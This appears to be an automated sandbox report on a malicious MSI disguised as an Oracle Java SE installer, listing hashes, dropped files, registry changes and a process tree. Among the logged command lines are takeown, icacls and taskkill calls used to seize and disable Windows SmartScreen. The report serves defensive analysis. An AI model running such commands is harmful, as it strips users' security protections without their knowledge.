Analysis
- max time kernel
100s - max time network
153s - platform
windows10_x64 - resource
win10v20210408 - submitted
09/08/2021, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
ac87f94bcae5c2dfccfa6ce0b021bad6f0e93efe8dae6b14634605e1ab544bee.msi
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
- Target ac87f94bcae5c2dfccfa6ce0b021bad6f0e93efe8dae6b14634605e1ab544bee.msi
- Size 4.3MB
- Sample210809-cevn2rsxkn
- SHA256 ac87f94bcae5c2dfccfa6ce0b021bad6f0e93efe8dae6b14634605e1ab544bee
- MD5 56afaa1ad86c82e0ee5fe96f900d71a1
- SHA1 08ade4f0c68f903a3975db39cbdae15ff3aae774
- SHA512 b5f8c524457434c7682bffb3ee0fdf27ca14e92a670be27f0a99ce7e2403f94813baa8ccbf485d0bfe2d54cee1e362999048df82826e73e6033c33e9ad33912c
- MD5 SHA1 SHA512
Malware Config
Signatures
- Blocklisted process makes network request 3 IoCs
flow pid Process 7 364 msiexec.exe 9 364 msiexec.exe 11 364 msiexec.exe - Executes dropped EXE 2 IoCs
pid Process 1252 j_service.exe 2180 Register.exe - Possible privilege escalation attempt 3 IoCs
pid Process 3468 takeown.exe 2304 icacls.exe 2876 icacls.exe - Loads dropped DLL 11 IoCs
pid Process 2652 MsiExec.exe 1972 MsiExec.exe 1252 j_service.exe 1252 j_service.exe 1252 j_service.exe 1252 j_service.exe 1972 MsiExec.exe 2180 Register.exe 2180 Register.exe 1252 j_service.exe 1252 j_service.exe - Modifies file permissions 1 TTPs 3 IoCs
pid Process 3468 takeown.exe 2304 icacls.exe 2876 icacls.exe - Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe - Drops file in Program Files directory 31 IoCs
description ioc Process File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-file-l2-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-heap-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-time-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-localization-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-processthreads-l1-1-1.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-environment-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-filesystem-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-multibyte-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-process-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-stdio-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\libcurl.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\j_service.exe msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\NSudo.exe msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-file-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-timezone-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-runtime-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\msvcp140.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\libssl-1_1.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\Register.exe msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\AccessibleHandler.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-conio-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-convert-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-locale-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-private-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\vcruntime140.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-core-synch-l1-2-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-math-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-string-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\api-ms-win-crt-utility-l1-1-0.dll msiexec.exe File created C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\libcrypto-1_1.dll msiexec.exe - Drops file in Windows directory 14 IoCs
description ioc Process File opened for modification C:\Windows\Installer\MSIA0AB.tmp msiexec.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\MSIA04D.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSIA4F3.tmp msiexec.exe File opened for modification C:\Windows\Installer\{B7FC664C-132B-401B-9170-ED3E538079BC}\Logo.ico msiexec.exe File opened for modification C:\Windows\Installer\MSIA6E8.tmp msiexec.exe File opened for modification C:\Windows\Installer\f749e88.msi msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File created C:\Windows\Installer\SourceHash{B7FC664C-132B-401B-9170-ED3E538079BC} msiexec.exe File created C:\Windows\Installer\{B7FC664C-132B-401B-9170-ED3E538079BC}\Logo.ico msiexec.exe File created C:\Windows\Installer\f749e88.msi msiexec.exe File created C:\Windows\Installer\wix{B7FC664C-132B-401B-9170-ED3E538079BC}.SchedServiceConfig.rmi MsiExec.exe File created C:\Windows\Installer\f749e8a.msi msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe - Kills process with taskkill 1 IoCs
pid Process 2784 taskkill.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\17\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe - Modifies registry class 23 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Net msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Clients = 3a0000000000 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C466CF7BB231B1041907DEE3350897CB\ProductFeature msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\ProductIcon = "C:\\Windows\\Installer\\{B7FC664C-132B-401B-9170-ED3E538079BC}\\Logo.ico" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\PackageName = "ac87f94bcae5c2dfccfa6ce0b021bad6f0e93efe8dae6b14634605e1ab544bee.msi" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\4283AD5241F3747428B68F1D87E32188 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Version = "134217999" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\AdvertiseFlags = "388" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\4283AD5241F3747428B68F1D87E32188\C466CF7BB231B1041907DEE3350897CB msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\C466CF7BB231B1041907DEE3350897CB msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\ProductName = "Oracle Java SE" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\PackageCode = "0F3EC1FE8AEFA504AA4C8350053D1A5C" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\C466CF7BB231B1041907DEE3350897CB\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe - Suspicious behavior: EnumeratesProcesses 63 IoCs
pid Process 2248 msiexec.exe 2248 msiexec.exe 2648 powershell.exe 1004 powershell.exe 808 powershell.exe 2648 powershell.exe 1004 powershell.exe 808 powershell.exe 2648 powershell.exe 1004 powershell.exe 808 powershell.exe 2804 powershell.exe 3700 powershell.exe 800 powershell.exe 2792 powershell.exe 212 powershell.exe 3052 powershell.exe 2804 powershell.exe 800 powershell.exe 3700 powershell.exe 2736 powershell.exe 2792 powershell.exe 3172 powershell.exe 3172 powershell.exe 4176 powershell.exe 4176 powershell.exe 2804 powershell.exe 2804 powershell.exe 3052 powershell.exe 3052 powershell.exe 212 powershell.exe 212 powershell.exe 4244 powershell.exe 4244 powershell.exe 800 powershell.exe 800 powershell.exe 3700 powershell.exe 3700 powershell.exe 2736 powershell.exe 2736 powershell.exe 2792 powershell.exe 2792 powershell.exe 4380 powershell.exe 4380 powershell.exe 3172 powershell.exe 3052 powershell.exe 4176 powershell.exe 212 powershell.exe 4244 powershell.exe 2736 powershell.exe 4380 powershell.exe 3172 powershell.exe 4176 powershell.exe 4524 powershell.exe 4524 powershell.exe 4244 powershell.exe 4668 powershell.exe 4668 powershell.exe 4380 powershell.exe 4668 powershell.exe 4524 powershell.exe 4668 powershell.exe 4524 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 364 msiexec.exe Token: SeIncreaseQuotaPrivilege 364 msiexec.exe Token: SeSecurityPrivilege 2248 msiexec.exe Token: SeCreateTokenPrivilege 364 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 364 msiexec.exe Token: SeLockMemoryPrivilege 364 msiexec.exe Token: SeIncreaseQuotaPrivilege 364 msiexec.exe Token: SeMachineAccountPrivilege 364 msiexec.exe Token: SeTcbPrivilege 364 msiexec.exe Token: SeSecurityPrivilege 364 msiexec.exe Token: SeTakeOwnershipPrivilege 364 msiexec.exe Token: SeLoadDriverPrivilege 364 msiexec.exe Token: SeSystemProfilePrivilege 364 msiexec.exe Token: SeSystemtimePrivilege 364 msiexec.exe Token: SeProfSingleProcessPrivilege 364 msiexec.exe Token: SeIncBasePriorityPrivilege 364 msiexec.exe Token: SeCreatePagefilePrivilege 364 msiexec.exe Token: SeCreatePermanentPrivilege 364 msiexec.exe Token: SeBackupPrivilege 364 msiexec.exe Token: SeRestorePrivilege 364 msiexec.exe Token: SeShutdownPrivilege 364 msiexec.exe Token: SeDebugPrivilege 364 msiexec.exe Token: SeAuditPrivilege 364 msiexec.exe Token: SeSystemEnvironmentPrivilege 364 msiexec.exe Token: SeChangeNotifyPrivilege 364 msiexec.exe Token: SeRemoteShutdownPrivilege 364 msiexec.exe Token: SeUndockPrivilege 364 msiexec.exe Token: SeSyncAgentPrivilege 364 msiexec.exe Token: SeEnableDelegationPrivilege 364 msiexec.exe Token: SeManageVolumePrivilege 364 msiexec.exe Token: SeImpersonatePrivilege 364 msiexec.exe Token: SeCreateGlobalPrivilege 364 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeShutdownPrivilege 1972 MsiExec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe Token: SeTakeOwnershipPrivilege 2248 msiexec.exe Token: SeRestorePrivilege 2248 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 364 msiexec.exe 364 msiexec.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2180 Register.exe 2180 Register.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2248 wrote to memory of 2652 2248 msiexec.exe 77 PID 2248 wrote to memory of 2652 2248 msiexec.exe 77 PID 2248 wrote to memory of 2652 2248 msiexec.exe 77 PID 2248 wrote to memory of 1972 2248 msiexec.exe 78 PID 2248 wrote to memory of 1972 2248 msiexec.exe 78 PID 2248 wrote to memory of 1972 2248 msiexec.exe 78 PID 1972 wrote to memory of 508 1972 MsiExec.exe 80 PID 1972 wrote to memory of 508 1972 MsiExec.exe 80 PID 1972 wrote to memory of 508 1972 MsiExec.exe 80 PID 508 wrote to memory of 3468 508 cmd.exe 82 PID 508 wrote to memory of 3468 508 cmd.exe 82 PID 508 wrote to memory of 3468 508 cmd.exe 82 PID 508 wrote to memory of 2304 508 cmd.exe 83 PID 508 wrote to memory of 2304 508 cmd.exe 83 PID 508 wrote to memory of 2304 508 cmd.exe 83 PID 508 wrote to memory of 2784 508 cmd.exe 84 PID 508 wrote to memory of 2784 508 cmd.exe 84 PID 508 wrote to memory of 2784 508 cmd.exe 84 PID 508 wrote to memory of 2876 508 cmd.exe 86 PID 508 wrote to memory of 2876 508 cmd.exe 86 PID 508 wrote to memory of 2876 508 cmd.exe 86 PID 508 wrote to memory of 808 508 cmd.exe 87 PID 508 wrote to memory of 808 508 cmd.exe 87 PID 508 wrote to memory of 808 508 cmd.exe 87 PID 508 wrote to memory of 2648 508 cmd.exe 88 PID 508 wrote to memory of 2648 508 cmd.exe 88 PID 508 wrote to memory of 2648 508 cmd.exe 88 PID 508 wrote to memory of 3544 508 cmd.exe 89 PID 508 wrote to memory of 3544 508 cmd.exe 89 PID 508 wrote to memory of 3544 508 cmd.exe 89 PID 3544 wrote to memory of 1004 3544 cmd.exe 90 PID 3544 wrote to memory of 1004 3544 cmd.exe 90 PID 3544 wrote to memory of 1004 3544 cmd.exe 90 PID 508 wrote to memory of 2804 508 cmd.exe 91 PID 508 wrote to memory of 2804 508 cmd.exe 91 PID 508 wrote to memory of 2804 508 cmd.exe 91 PID 508 wrote to memory of 2180 508 cmd.exe 92 PID 508 wrote to memory of 2180 508 cmd.exe 92 PID 508 wrote to memory of 2180 508 cmd.exe 92 PID 508 wrote to memory of 3700 508 cmd.exe 94 PID 508 wrote to memory of 3700 508 cmd.exe 94 PID 508 wrote to memory of 3700 508 cmd.exe 94 PID 508 wrote to memory of 800 508 cmd.exe 93 PID 508 wrote to memory of 800 508 cmd.exe 93 PID 508 wrote to memory of 800 508 cmd.exe 93 PID 508 wrote to memory of 2792 508 cmd.exe 95 PID 508 wrote to memory of 2792 508 cmd.exe 95 PID 508 wrote to memory of 2792 508 cmd.exe 95 PID 508 wrote to memory of 212 508 cmd.exe 96 PID 508 wrote to memory of 212 508 cmd.exe 96 PID 508 wrote to memory of 212 508 cmd.exe 96 PID 508 wrote to memory of 3052 508 cmd.exe 97 PID 508 wrote to memory of 3052 508 cmd.exe 97 PID 508 wrote to memory of 3052 508 cmd.exe 97 PID 508 wrote to memory of 2736 508 cmd.exe 98 PID 508 wrote to memory of 2736 508 cmd.exe 98 PID 508 wrote to memory of 2736 508 cmd.exe 98 PID 508 wrote to memory of 3172 508 cmd.exe 99 PID 508 wrote to memory of 3172 508 cmd.exe 99 PID 508 wrote to memory of 3172 508 cmd.exe 99 PID 508 wrote to memory of 4176 508 cmd.exe 100 PID 508 wrote to memory of 4176 508 cmd.exe 100 PID 508 wrote to memory of 4176 508 cmd.exe 100 PID 508 wrote to memory of 4244 508 cmd.exe 101
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ac87f94bcae5c2dfccfa6ce0b021bad6f0e93efe8dae6b14634605e1ab544bee.msi1⤵
- Blocklisted process makes network request
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:364
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F5C00A2FE3D52672713EB192184F1BDA2⤵
- Loads dropped DLL
PID:2652
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C380BD6CF1F034637251148F7264E82D E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1972 -
C:\Windows\syswow64\cmd.exe"cmd.exe" /C "C:\Program Files (x86)\Sun Technology Network\Oracle Java SE\setup.bat"3⤵
- Suspicious use of WriteProcessMemory
PID:508 -
C:\Windows\SysWOW64\takeown.exetakeown /f "C:\Windows\System32\smartscreen.exe" /a4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3468
-
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Windows\System32\smartscreen.exe" /reset4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2304
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im smartscreen.exe /f4⤵
- Kills process with taskkill
PID:2784
-
-
